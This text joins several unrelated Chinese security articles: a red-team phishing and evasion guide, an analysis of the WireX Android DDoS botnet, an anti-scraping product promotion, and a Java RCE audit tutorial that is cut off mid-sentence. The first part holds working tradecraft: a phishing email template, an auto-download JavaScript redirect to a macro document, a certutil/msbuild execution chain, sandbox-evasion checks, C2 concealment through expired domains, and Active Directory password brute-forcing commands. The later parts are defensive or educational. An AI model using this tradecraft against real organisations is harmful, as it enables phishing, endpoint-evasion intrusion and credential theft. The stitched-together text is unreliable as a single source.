通常攻击者发送的钓鱼邮件中链接会指向攻击者自己控制的服务器，因为受到受到攻击的目标可能会有安全产品识别出攻击者的Payload追查攻击者的痕迹。
采用以上的方式如果Payload出了问题，攻击者可以立即改变Payload。
嗨，鲍伯，
我们目前正在更新我们的行为守则。
请尽快审查和接受。
行为准则可以在这里找到：
https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb
谢谢您，人力资源总监 查尔斯
##### Apache mod_rewrite规则可以生成具有唯一ID的公司URL
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [L,QSA]
效果如下：
* 钓鱼URL：<https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/>
* 实际访问：<https://phishy.domain/company/index.php>
注：给每一个测试的Payload一个标识便于区分被钓鱼的对象
#### 3.2 不要让自动化解决方案发觉到攻击者最后阶段的行为
如Word doc, ClickOnce等，如何使用JavaScript生成有效载荷的最终链接呢？
让我们假设钓鱼网站上的HTML看起来是这样的：
<a href="https://phishy.domain/payload.docm">
download the code of conduct
</a>
自动化安全工具可以很容易处理HTML并调试Payload进行进一步的分析。
但是如果使用JavaScript生成最终的链接像下面这样：
<a id="download" href="#">
download the code of conduct
</a>
<script>
document.getElementById("download").onclick= function() {
document.location= "https://phish" + "y.domain/pay" + "load.docm";
};
document.getElementById("download").click();
</script>
以上例子href是立即访问的，点开页面访问会跳转到【<https://phishy.domain/payload.docm】这个地址。>
网络钓鱼成功率与用户体验有很大关系。强制用户点击click()下载文件，浏览器会提示下载窗口。
#### 3.3 使用分类域名
在评估之前，简单地克隆一个合法网站。最好是安全产品已经分类好的信任域名。
#!/bin/bash
echo "Cloning $1"
wget $1 -O index.html &> /dev/null
TAG="<base href=\"$1\"/></head>"
sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null
echo "index.html was saved and modified"
**注：** 代码内容为<https://gist.github.com/Mr-Un1k0d3r/11bf902555d401c92c2e1b766275e6a2>
搜索已被分类的过期域；这可能是有用的，也是最简单的分类域的方式。
CatMyFishV1.0-搜索已经分类可用的域名
https://github.com/Mr-Un1k0d3r/CatMyFish
#### 3.4 使用HTTPS
使用免费的HTTPS证书，搭建网站。
优点就在于不必验证攻击者的身份，也可以达到混淆受害者判断力的目的。
#### 3.5 钓鱼主题-尽可能的无聊
如果选用太好的钓鱼式题材，就不太可能像真的。
用无聊的钓鱼式主题，如：内部行为守则更新、强制骚扰在线课程、员工问卷调查等等，这些倾向类比较强的主题可以较少引起怀疑。
#### 3.6 避免使用拼写错误的域名
northsex.io VS northsec.canadianevent.com
作为第三方服务公司的一部分，使用子域往往会提供更好的结果，因为人们现在每天都使用云服务。
前者的钓鱼域名就是将真正域名的northsec改变了一个字母以此来迷惑用户。
其实这个对于安全意识越来越高的现代人来说，很容易就对前者产生了怀疑。
但是现在的服务越来越多样化，很多公司都会有第三方服务，这些第三方服务通常会带上目标公司的域名做前缀。
#### 3.7 不要重复使用同样的域名
因为攻击者永远不知道自己的Payload会在哪里运行起来(如virustotal等)。如果反复使用同一个域名，则可能泄漏其他客户端的信息。
### 4、创建有效载荷
避免检测的经典方法是在安全产品上执行不同的操作-安全产品通常通过一些指纹识别来防止恶意有效载荷的执行。
能够绕过所有安全层的攻击者将能够在目标系统上执行代码而不被检测到。
但是端点解决方案的方式是“沙盒”呢？
混淆与规避的定义 ：
$a = 3; // 原始代码
$a = 1 + 2; // 混淆代码
if(context == “sandbox”) {
$a = 3;
} else { exit() }// 规避
流行的事物不一定是好事情，安全厂商通常会努力阻止最新的技巧，尤其是现在每个人都使用PowerShell。
* 规则0x1：不要直接运行PowerShell
为此作者写了一个工具：PowerLessShell,实现了不调用powershell.exe的情况下执行PowserShell命令；
<https://github.com/Mr-Un1k0d3r/PowerLessShell>
PowerLessShell依赖MsBuild.exe远程执行PowerShell脚本和命令而不生成PowerShell.exe。也可以使用相同的方法执行原始的ShellCode。
**注：** 工具原理通过笔者分析实践，此工具生成的脚本必须要在管理员权限下运行。核心代码如下：
# 将PowerShell脚本转成了十六进制，利用Certutil自带转码功能恢复原样。再使用MsBuild.exe执行，使用完毕后清除生成的文件。
certutil -decodehex vpmMLfdAbV dWCBVaaSqezNvPbCKpFyJiwG && copy msbuild.exe QrjZkfusnfnbvOoGuqq.exe && QrjZkfusnfnbvOoGuqq.exe dWCBVaaSqezNvPbCKpFyJiwG && del QrjZkfusnfnbvOoGuqq.exe && del dWCBVaaSqezNvPbCKpFyJiwG && del vpmMLfdAbV
* 规则0x2：如果使用宏来执行命令，避免使用WScript.Shell 和 Shell()，因为大多数安全产品会跟踪WINWORD.EXE触发生成的子进程。目前最佳的方式是使用WMI来执行Payload；
<https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator>
**注：** 工具原理通过笔者分析，核心代码如下：
调用的函数名和对象名进行了字符混淆，使用Wmi调用cmd.exe再调用PowerShell执行命令。
如果计划使用已签名的Windows二进制文件，许多安全厂商将它们列入黑名单：
* regsvr32.exe
* msbuild.exe
…
以下工具可以修改二进制文件的HASH，同时保留微软的签名:
<https://github.com/Mr-Un1k0d3r/Windows-SignedBinary>
还可以尝试执行二进制文件重命名的击败某些产品：
C:\> copy powershell.exe tLclgEomOrR.exe
C:\> tLclgEomOrR.exe –exec bypass Get-Help
也可以用宏脚本实现以上功能:
o = CreateObject("Scripting.FileSystemObject")
o.CopyFile(source, destination)
* 规则0x3：添加检测环境代码，如果条件不匹配则不执行，以防止执行最后阶段。
例如：ClickOnce应用程序检查«iexplore»是否正在运行，因为需要Internet Explorer来下载ClickOnce。
If(Process.GetProcessByName("iexplore").Length > 0) {
// be evil
}
项目代码：<https://github.com/Mr-Un1k0d3r/ClickOnceGenerator>
* 规则0x4：有人可能已经写了一个工具来混淆Payload。
* * SCT COM Scriptlet: <https://github.com/Mr-Un1k0d3r/SCT-obfuscator>
* * EXE (shellcode): <https://github.com/Mr-Un1k0d3r/UniByAv>
* * EXE (shellcode): <https://github.com/Mr-Un1k0d3r/DKMC>
* * Base64 (PowerShell): <https://github.com/Mr-Un1k0d3r/Base64-Obfuscator>
沙箱解决方案的问题:它们可以指纹识别和预测
端点(工作站/服务器)和沙箱之间的差异:
* * 内存大小(端点至少4 Gb)
* * 磁盘大小(端点至少250gb)
* * CPU数量(端点至少2个cpu)
* * 正在运行的进程(如果攻击者是通过电子邮件发送样本，那么OUTLOOK.exe这个会显示正在运行的状态)
端点之间的差异(未完待续):
* * 网络访问(沙箱有网络接入)
* * 加入域(沙箱通常不加入到公司域)
* * 时区(针对一家加拿大公司)
* * 检测钩子(沙箱通常HOOK已知的api函数)
* * 系统已经运行了多长时间
* * 系统活动(剪贴板不为空，接收广播流量等)
* * 和更多…(创新)
* 规则0x5：尽可能隐秘地连接到攻击者的C2
* * "域前置"(Domain Fronting)
* * "分类域名"(Categorized domains)
**注：** 字面意思是分类过的域名，实际意思是指那些已经过期了但是仍然被安全厂商标记过的那些高信用域名。
举个例子 foo.com
之前被标记为论坛网站，信誉度是9，那么很多公司的web或者邮件安全网关就不会过滤或者拦截他，现在这个域名过期了且被黑客重新注册来做C2域名，这样就可以达到隐藏的目的了。
这里有些工具这可以找到类似的这些域名：
1）<https://github.com/Mr-Un1k0d3r/CatMyFish>
2）<https://github.com/threatexpress/domainhunter>
* * 强制执行HTTPS
* * 选择正确的协议:现在大多数RAT使用HTTP来混入“合法”的流量。
相关项目：<https://github.com/Mr-Un1k0d3r/ThunderShell>
基于HTTP协议的RAT支持HTTPS，在HTTPS之上使用RC4加密来击败端点网络检测。
没有第二阶段(DLL)， PowerShell脚本会提供对所有基本功能的访问
请随意为这个项目做出贡献，大家可以尝试为这个项目添加更多的特性和一个WEB界面来管理会话。
**选择合适的载荷:**
宏:Office 2016默认禁用宏
HTA:因为流行，所以更容易被发现
ClickOnce:需要使用Internet Explorer
普通EXE:可能会被应用程序屏蔽。
避免直接运行PowerShell，因为它是现在很流行的方法:
宏-> WMI -> PowerShell VS 宏-> WMI -> PowerLessShell(MSBuild)
到这里，攻击者已经精心设计了网络钓鱼活动中需要的作战方案，Payload也将会是安全产品所信任的程序。
### 5、狩猎
假设攻击者已经有一个SHELL。那就需要抓住尽可能多的信息，以免丢失SHELL。
* username
* Email(枚举到的)
注意以下3点：
1.避免直接运行PowerShell
2.避免使用net * 家族命令
3.避免连接到所有系统。
**解决方案**
1.非托管的PowerShell + LDAP查询
2.CobaltStrike 内置“powerpick”命令
3.ThunderShell 默认支持
* Dump-UserEmail
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Utility.ps1>
* 域密码破解
这并不一定是最隐秘的方法，从提取的用户列表暴力破解用户的密码。
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Invoke-ADPasswordBruteForce.ps1>
"neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX
这个cmdlet支持其他域，甚至可以对其他受信任域执行穷举破解。
穷举破解依赖于ValidateCredentials()方法，它很明显地连接到DC，特别是如果试图强制所有用户使用穷举破解时。
* 查找基于名称特定用户的SamAccountName
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-FullNameToSamAccount.ps1>
Search-FullNameToSamAccount -Filter Hamilton
* 搜索当前用户的计算机
这一项需要提升权限，搜索当前用户的计算机。
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-EventForUser.ps1>
Search-EventForUser -TargetUser charles.hamilton -FindDC true
在DC的所有事件日志中搜索登录事件
* 获取浏览器书签以发现感兴趣的内部资产
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-IEBookmarks.ps1>
Get-IEBookmarks
### 6、工具和技巧
WDIGEST没有返回任何内容，但是当前用户在另一个系统上具有本地管理权限。
* 使用Kerberos票据利用WMI远程连接
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Remote-WmiExecute.ps1>
Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"
谈到Kerberos票据——为什么有时会拒绝访问?
<http://technet.microsoft.com/en-us/library/cc772815(WS.10).aspx>
可持续票据的客户端必须在到达结束时间之前将其发送给KDC进行续约。
如果使用WMI生成shell，则默认情况下不会将故障单发送到KDC。还将会更新进程，如explorer.exe是一个很好的目标可以将Payload注入并运行域查询。
然而，从OPSEC的角度来看，有一个缺点；Explorer.exe通常不建立网络连接。
更隐蔽的目标可能是：
svchost.exe
conhost.exe
* 活动目录(Active Directory)包含很多有价值的信息，如枚举用户的评论和描述可能会泄露密码和其他有趣的信息。
<https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Utility.ps1>
Dump-Username -More
很多时候不需要“域管理员”权限来实现预定义的目标。 但是一个红队在时间和预算上都是有限的，为了完成任务目标不得不做出冒险的行为。
大多数Windows命令都可以通过PowerShell运行，
为了避免产生一个CMD.EXE实例，可以通过以下两类程序使用非托管PowerShell来运行命令：
* * CobaltStrike powerpick
* * PowerLessShell
**高效的技巧**
PowerView(<https://github.com/PowerShellMafia/PowerSploit)有很多非常有用的命令。>
Find-LocalAdminAccess: 查找主机具有本地管理员权限的用户。
Get-NetDomainTrust: 列出所有信任域
Get-NetForestTrust: Lists all forests
Invoke-ShareFinder: 列出所有共享
Get-NetLocalGroup: 列出本地管理组/用户组
即使攻击者试图尽可能隐蔽攻击手段，但也不可能因为红队的性质而毫无动静。当合适的时候攻击者可以调整工具和技术以保持尽可能的隐蔽。
一次好的网络钓鱼活动每次都会不同，而制作Payload是一门艺术需要一步步策划。
再次强调!!!
尽量避免直接运行PowerShell
### 7、参考
* 2018年红队之旅——介绍各种脚本的TIPS
<https://ringzer0team.com/d/A-Journey-Into-a-RedTeam-2018.pdf>
* 一次真正了解红队之旅-2018-【翻译】
<http://www.coffeehb.cn/?id=102> | 社区文章 |
# 【病毒分析】360烽火实验室：“WireX Botnet”事件Android样本分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**C &C服务器地址**
****
WireX家族病毒基本上都会在内部硬编码存放两个URL地址（部分变种的URL经过加密），变种A在内部硬编码了如下两个URL
http://u.*******.store/?utm_source=tfikztteuic
http://g.*******.store/?utm_source=tfikztteuic
这些URL地址是病毒的C&C Server的地址，用于返回要攻击的网站的信息，不同之处在于，对这两个URL返回的信息，处理方式不同，执行的恶意行为也不同。
**UDP Flood攻击**
****
对于以u开头的URL地址，比如
http://u.*******.store/?utm_source=tfikztteuic
（实际测试不能正常返回数据，以下是根据代码逻辑进行描述的），返回数据分为两部分，一个要攻击的主机地址，一个是端口，中间使用字符串“snewxwri”分割，代码中对返回数据处理如下：
获得主机地址和端口号之后，会创建50个线程，每个线程中都会连接该主机和端口，开启socket之后，使用udp协议发送随机数据，每次回发送512个字节的数据，一个线程中一共会发送
10000000 (一千万)次，也就是 10000000512=5120000000
字节的数据，因为一共实现了创建了50个线程，所以，理论上会发送10000000512*50=256000000000（2560亿）字节，实现代码如下所示：
**Deceptive Access Attack**
****
对于以g开头的URL地址， 比如
http://g.*******.store/?utm_source=tfikztteuic
，返回数据分为3部分，分别是访问要攻击的网站的URL、UserAgent和Referer，使用硬编码的字符串（比如 **snewxwri**
）进行分割，代码中对返回数据处理如下：
获得要攻击网站用到的 **URL** 、 **UserAgent** 和 **Referer**
后，会创建20个Webview，然后使用每个WebView访问要攻击的网站，代码实现如下：
**
**
**Deceptive Click Attack**
****
变种B内置了2个URL地址，如下：
http://ww68.c.********.us/?utm_source=tfikztteuic
http://ww68.d.********.us/?utm_source=tfikztteuic
请求这两个URL返回的数据是类似的，都是在HTML的 **title** 中设置了一段内容，这段内容使用一个硬编码的字符串（比如
**”eindoejy”** ）分隔成3或者4部分，前3部分都是一样的，一个 **URL** ，一段 **JS代码** ，一个 **UserAgent**
，后面可能还有一个字段，猜测为国家名字缩写，该样本中为 **CN** （代表中国？）。请求你的地址和返回的数据，类似下图：
该病毒对这些数据的处理方式是，使用WebView加载返回URL，然后在页面加载完成后，执行那段JS代码，JS代码的功能是从页面中所有的URL
link（通过查找html的a标签获得）中，随机挑选一个，模拟鼠标事件进行点击，实现代码如下：
实现模拟鼠标点击JS代码如下：
**
**
**Attack Controller**
****
上述几种攻击的实现都是位于某个Android Service中，那么这几种攻击是怎么启动的呢？通过逆向分析APK得知, 该APK注册了监听某些事件的
**Broadcast Receiver** ，比如network connectivity change、device admin
enabled等，在这些Receiver中，会启动Attack Controller这个Service， Attack
Controller负责启动各种Attack，代码实现如下：
不同的变种，实现方式有些差别，攻击的强度也又有所差别，这个变种中，每隔 **55秒** 都会重启一次攻击。
**受影响app列表(部分)**
****
详细内容请看：
<https://appscan.io/monitor.html?id=59a4ddf60272383df95153ea>
**360烽火实验室**
****
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 0x00 爬虫=爬数据？
之所以又提“什么是爬虫”这个老生常谈的问题，是前几天有个验证码接口被刷的用户在群里讨论防护方案，他认为这种不算是爬虫，爬数据的才叫爬虫（这里的“爬数据”指的是爬机票酒店住宿价格新闻小说漫画评论SKU等等）。
没错，传统意义上的爬虫定义是这样的，但本文即将讨论的爬虫，指任何能自动化完成一系列Web请求最终达到某种目的的程序，这些目的包括但不限于模拟投票让你在某个在线评选中高票胜出、破解你的验证码（或者把验证码发给打码平台）、模拟正常用户下单买票以后却不付款（让正常用户无票可买）等等、……现如今爬虫的“趋利性”已经非常明显，从获取核心的商业信息（如价格、用户信息等）到扰乱正常用户的活动（如抢购、恶意刷票等），爬虫已带来越来越多业务营收、公司信誉以及核心数据方面的损失。
# 0x01 爬虫的幕后黑手们
## 反爬虫与反反爬虫的对抗是一条不归路吗？
这个问题要辩证来看，从阿里云安全团队线上对抗的经验来看，答案完全取决于你在跟什么水平的爬虫对抗，我们姑且拍脑袋把互联网上的爬虫流量来源划为下面这几类：
嗯…你大概也看出来，越往上，就越是不归路了。现如今专业的黑灰产团伙因为背后有足够强的利益驱动，不论是资源（比如换IP用的IP池）还是技术能力（各种绕过防爬策略的猥琐手法）都有了长足进步，老话怎么说的来着，无利不起早，就怕流氓会武术……
不过还好，二八法则至少从量上看也适用于这个话题，往往占比例更大的，还是技术含量相对较低的爬虫，毕竟攻防都有成本，对于大多数爬虫来说，爬不动你可以爬别人嘛，何必花力气研究你的防爬策略呢？毕竟没有防爬保护的站点才是大多数XD。
捡软柿子捏的思路还有另一个更常见的场景。现如今大部分的业务都会提供传统PC、移动端APP以及API等多个服务渠道，APP做了加固爬网页，网页做了混淆爬API…这是真真的木桶原理，哪里好爬爬哪里，哪里防爬策略好绕过就爬哪里，这不是理论上的场景，而是我们已经真实遇到的案例。因此，一个能覆盖所有场景的防爬体系非常重要。
# 0x02 何为纵深？有多深？
因材施教，对症下药。回到之前对攻击者的分层上来说，我们需要有不同的套路对付不同等级的攻击者。在无数个与线上爬虫对抗的日夜里，我们既见过简单封禁一个IP就搞定的大规模撞库行为，也遇到过具备完善的监控系统和技术人员24小时绕个不停的黑产团伙。从对抗上来说，绝对安全不会被绕过的系统是不存在的，我们能做的就是不断提高攻击者的绕过成本，而这个成本会随着防护层次的丰富指数级上涨。
下面我们来梳理一下防爬的思路：特征库直接封禁、JS无感人机识别、行为异常检测和威胁情报库。
## 1\. 特征检测
经验丰富的安全人员往往能很快从访问日志中看出有无异常行为，举几个常见的例子：
* 正常用户不会直接请求的页面访问却不带任何referer
* 从主域名跳转过来的请求不带任何cookie
* UA包含Python/Java/xxBot/Selenium
* 省内生活论坛却有大量海外IP访问
* request body中包含一个大量重复的手机号
这些明显或不明显的“特征”，都可以作为第一道爬虫检测策略——特征封禁。这里的特征可以是各种HTTP头部、body以及它们的组合条件。阿里云爬虫风险管理产品提供了非常灵活的七层访问控制策略，如同一把应用层的瑞士军刀，是行走江湖的必备佳品：
## 2\. JS无感人机识别
除了访问控制，通过JS采集网页环境中的操作行为、设备硬件信息、指纹等特征来判断请求是否来自于自动化工具也是常见的思路。思路虽然简单，但在没什么秘密的前端对抗环境中，确保采集到的信息和风险判断模型的准确性却是专业的安全团队投入相当大的精力来建设的能力。
现在，我们将阿里巴巴集团积累多年的验证码集成到了防爬产品中，用户不需要做任何业务改造即可接入，一键获得淘宝同款的人机识别能力，在诸如下图所示的防护垃圾注册、撞库、暴力破解、验证码被刷、恶意下单等场景下有着很好的效果（补充一句：正经用户无感知哟）：
## 3\. 行为异常检测
特征匹配因具备很强的对抗特征，是最容易绕过的防护规则，接下来我们聊聊异常行为检测。说到行为，大部分第一反应肯定是限速。没错，但是限速两个字展开却有很多细节的问题，比如以什么路径作为限速条件？除了IP还能以什么作为限速对象？除了频率还有什么统计方式？我们再举几个栗子：
* 我担心以IP为对象限速会误伤公司出口等NAT环境，希望以客户端为对象来统计
没问题，我们可以用cookie、设备指纹、MAC地址等多种指标。
* 我只关注登录接口的暴力破解行为，希望只对这个接口做统计
没问题，统计路径匹配/login.php即可，我们支持前缀、正则、完全匹配等方式。
* 我的业务请求中会有一个参数userid来标识某个用户，我想基于这个指标做限速
没问题，您只需要在配置里指定这个参数的key（如userid）即可，我们会对超过阈值的value（如xiaoming）进行处置。
* 爬虫会遍历我业务中很多不存在的路径，我希望当一个会话中404的比例超过一定值时采取措施
没问题，可以根据响应状态码（如404、502）的统计来识别爬虫。
这类基于会话行为的规则也可以灵活的满足很多场景下的异常行为检测需求：
当然异常行为检测远不止这些，从UBA（UserBehavior
Analysis）角度去建模，也是一种不错的思路（毕竟这年头不说点机器学习也不好意思谈安全了）。机器学习能够综合多个观察角度和维度去识别爬虫，增加了绕过和对抗的成本，这是相对于规则类防护的一个优势。而且，针对一些精心构造的低频、离散IP，机器学习可以很好的弥补规则检测的短板。
目前，阿里云安全的算法团队已经有十几种针对不同场景下恶意爬虫的识别模型，包括时序异常、请求分布异常、业务逻辑异常、上下文异常、指纹异常等等，借助阿里云平台强大的实时计算能力，可以做到实时的异常行为检测——实时是个很关键的点，因为随着爬虫越来越智能，有一些高级爬虫等一般算法产出结果的时候早就消失在人海深藏功与名了，识别效率会大打折扣。
## 4\. 威胁情报能力
之前说到了甲方做防爬的一些优势，那么从全国最大的云平台上诞生的防爬产品最大的优势就是威胁情报的能力了，这里再举个栗子：
以航空行业为例，机票向来是爬虫重点关注的对象，从爬虫的角度来看，一个黄牛或旅行社背后的爬虫往往会光顾各大航司以获取最全的票价信息，所以当我们检测到一个爬虫光顾了ABCDE航司后，你说他爬X航的概率大吗？当然。
这个不是假设，而是我们已经在实际的流量中发现的行为。于是我们由此拓展开来，基于一定的模型生成在多家航司网站上有过可疑行为的，实时的（注意是实时的哦）爬虫库，这就是典型的云上协同防御模型。这样对于新接入的X航来说，我们甚至可以用情报的思路把防护做到事前。
其实从攻击者的角度来看也很好理解，虽然现如今专业的爬虫都会租用大规模的代理IP池、宽带IP池，实现“被封秒换”的效果以逃避爬虫检测，但攻击的成本也是存在的，也要考虑资源复用的问题，所以不同的攻击者从IP贩子手里买到的可能是相同的一票IP。于是当我们把这些代理IP扩大到一定量以后，就会在恶意行为上出现越来越高的重合度。
目前阿里云安全团队从云上流量分析出的各种类型的威胁情报库已经具备一定的规模，依据云平台强大的计算能力，可以依据历史一小时/一天/一周（场景不同）的流量情况计算，以应对快速变化的黑灰产资源池，这是我们防爬体系的另一个重要组成部分。
# 0x03 好的防爬系统应该体现人的价值
攻防对抗永远是动态的，没有一套万金油的策略可以搞定所有场景，因此好的安全产品应该体现人的价值，帮助安全工程师将自身的技术和经验最高效地发挥价值。所以，阿里云安全团队致力于提供给用户的爬虫风险管理产品，致力于打造一套尽可能灵活的“工具”，帮助用户跳过繁琐的实现细节，直接在策略甚至业务层面进行防护规则的部署，同时利用云上海量的数据和计算能力、弹性扩容能力以及威胁情报，帮用户快速打造适合自己业务特点的防爬系统。
同时，结合阿里云的SLS日志服务，我们可以很方便的对当前流量做快速分析，或者设置个性化的业务指标监控和告警，如将最近半小时内某域名下某个IP的访问路径按次数排序、某种策略的命中及绕过情况、监控每分钟的注册量/下单量有没有突增的情况、滑块验证弹出及通过的情况等等，这样我们就完成了一个从检测到处置再到监控和对抗的闭环。
# 0x04 结语
反爬与反反爬是一场无休止的战争，像任何一场战争一样，最终拼的还是双方的资源。近些年随着selenium、按键精灵、打码平台和人工智能等一系列“猥琐”手段的加入，对于真正持续投入对抗的场景，终局大概是双方达成某种心照不宣的默契然后相忘于江湖吧……
最后打个广告，阿里云防爬产品”爬虫风险管理“已全面开放公测，主打数据爬取、接口滥刷、恶意刷票、撞库爆破等防护场景，欢迎老铁们来尝鲜，一起交流： | 社区文章 |
## 0x00 写在前面
为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java
代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。
本系列的文章面向人群主要是 **拥有 Java 基本语法基础的朋友** ，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS
漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE
漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic
系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。
目前已完成内容如下：
【Java 代码审计入门-01】审计前的准备 <https://www.cnpanda.net/codeaudit/588.html>
【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍 <https://xz.aliyun.com/t/6872>
【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍 <https://xz.aliyun.com/t/6937>
【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍 <https://xz.aliyun.com/t/7186>
## 0x01 前戏
下载 RCE 测试源码：
<https://github.com/cn-panda/JavaCodeAudit>
导入项目，可以得到以下目录：
项目是一个简单调用类方法去执行相关操作的实现。在 servlet 层接受到请求后，调用
rceTest中的CommandFound函数，该函数接受三个参数：command、method、str，command 为要执行的命令类，method
为要执行的方法，str 为要执行的内容。
本项目模拟用户从web 端向服务器发起添加、删除、修改等操作，该操作通过调用 Command
类中的AddCommand/DeletcCommand/ModifyCommand等方法，去实现请求。
## 0x02 漏洞原理
#### 1、RCE 漏洞的定义及原理
RCE 的中文名称是远程命令执行，指的是攻击者通过Web
端或客户端提交执行命令，由于服务器端没有针对执行函数做过滤或服务端存在逻辑漏洞，导致在没有指定绝对路径的情况下就可以执行命令。
RCE
漏洞的原理其实也很简单，就是通过开发人员没有针对代码中可执行的特殊函数或自定义方法入口做过滤，导致客户端可以提交恶意构造语句，并交由服务器端执行。常见的可执行函数如：`Runtime.exec()`，当然我们审计的时候，决不能只根据这个函数来，其他的审计点如：Process、`ProcessBuilder.start()`等也是很重要的内容。
#### 2、RCE 漏洞可能出现的场景
RCE 出现的场景比较多，如：
1、服务端直接存在可执行函数（`exec()`等），且对传入的参数过滤不严格导致 RCE 漏洞
2、服务端不直接存在可执行函数（`exec()`等），且对传入的参数过滤不严格导致 RCE 漏洞
3、由表达式注入导致的RCE漏洞，常见的如：OGNL、SpEL、MVEL、EL、Fel、JST+EL等
4、由java后端模板引擎注入导致的 RCE 漏洞，常见的如：Freemarker、Velocity、Thymeleaf等
5、由java一些脚本语言引起的 RCE 漏洞，常见的如：Groovy、JavascriptEngine等
6、由第三方开源组件引起的 RCE 漏洞，常见的如：Fastjson、Shiro、Xstream、Struts2、weblogic等
以上是RCE
漏洞出现比较频繁的场景，原理也有些许不同，有的是过滤不严格导致，有的是反序列化调用链导致，有的是特性导致，在这里仅对过滤不严格进行介绍，后两者会在后续的文章中逐一介绍。
#### 3、项目具体演示
拿上述项目举例，首先看看项目的具体实现：
command 为请求的类，method 为请求类的方法，str 为请求类的参数，服务端接收这三个参数后执行 method 的具体方法，如上图所示，首先找到
`com.sec.pojo.Command`类，然后找到该类中的`AddCommand`方法，最后根据这个方法的需要，传入指定的参数`[add]`。
项目的实现内容很简单，就是接收参数-->执行操作，下面我们来看这是怎么实现的。在`recTest.java`中，存在如下代码：
public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
// TODO Auto-generated method stub
PrintWriter print = resp.getWriter();
// 接收参数
String name = req.getParameter("command");
String method = req.getParameter("method");
String str = req.getParameter("str");
// 获取类的无参数构造方法
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// 实例化类
Object getInstance = constructor.newInstance();
// 获取类方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
getCommandMethod.setAccessible(true);
// 调用类方法
Object mes = getCommandMethod.invoke(getInstance, str);
print.println("即将执行的操作指令：<br>");
print.println(mes);
print.flush();
}
}
上段代码中，首先通过反射获取类名，再通过反射获取类方法并使用，这些利用的都是Java 的反射机制。java
的反射机制这里就不详细说明了，有兴趣的朋友可以看看我的这篇文章：<https://www.cnpanda.net/codeaudit/705.html>
有心的朋友可能发现了，上述代码中没有出现任何一个可执行函数（如exec()、system()等），但是却存在 RCE 漏洞。如下图所示：
可以发现，由于代码对于我们传入的类、传入类的方法、传入类的参数没有做任何限制，从而导致了 RCE 漏洞，这也是RCE 漏洞可能出现场景中的第二项。
实际上，现在由于反序列化的流行，RCE 漏洞也成为了常客出现在反序列化中，也正是这样，导致反射大量的运用，因为最终要一层层调用链去实现 RCE。
## 0x03 修复方案
由于命令执行所处的场景不同，因此修复的方式也要根据实际场景来。总的来说，需要注意以下几点：
1、禁止用户控制由程序执行的命令。如果用户的输入会影响程序原本的命令执行，那么应该设置一个安全白名单，使用户的输入变成从预定的安全命令集合中进行选择。若在用户的输入中检测出了非白名单中的命令，那么默认从安全命令集合中选择合适的命令给予替换，或者直接拒绝执行该命令。
2、如果需要将用户的输入用作程序命令中的参数，那么需要对用户的输入进行过滤，但实际场景过于复杂、参数难以追踪，导致这种过滤难度很大，在程序有选择的过滤潜在的危险字符时，只要攻击者的字符不在其黑名单内，那么应用程序受到攻击的概率将显著提高，所以更好的方法是组建一份白名单，允许其中的字符出现在输入中，并只接受完全由这些经认可的字符组成的输入，当然这种方案并不是完美的，有时候攻击者通过白名单内的字符组建绕过检测，同样可以达到攻击的目的，因此如何构建白名单、如果设置过滤机制是关键。
3、有时候攻击可以通过修改环境中的命令指令来达到攻击的效果，因此应该设置绝对路径来执行命令。
4、严格设置权限，有的时候我们所需执行命令仅需要很小的权限，如在上方示例代码中，如果我们不设置`setAccessible(true);`，那么攻击者就无法调用
`Runtime.exec()`命令。
## 0x04 实际案例（CVE-2010-1871）分析
#### 1、案例介绍
CVE 地址：<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871>
用于Red Hat Linux的JBoss企业应用程序平台4.3.0中使用的JBoss Seam 2（jboss-seam2）不能正确过滤JBoss表达式语言（EL）表达式的输入，这使远程攻击者可以通过精心制作的URL执行任意代码 。
值得注意的是，在这个漏洞的CVE
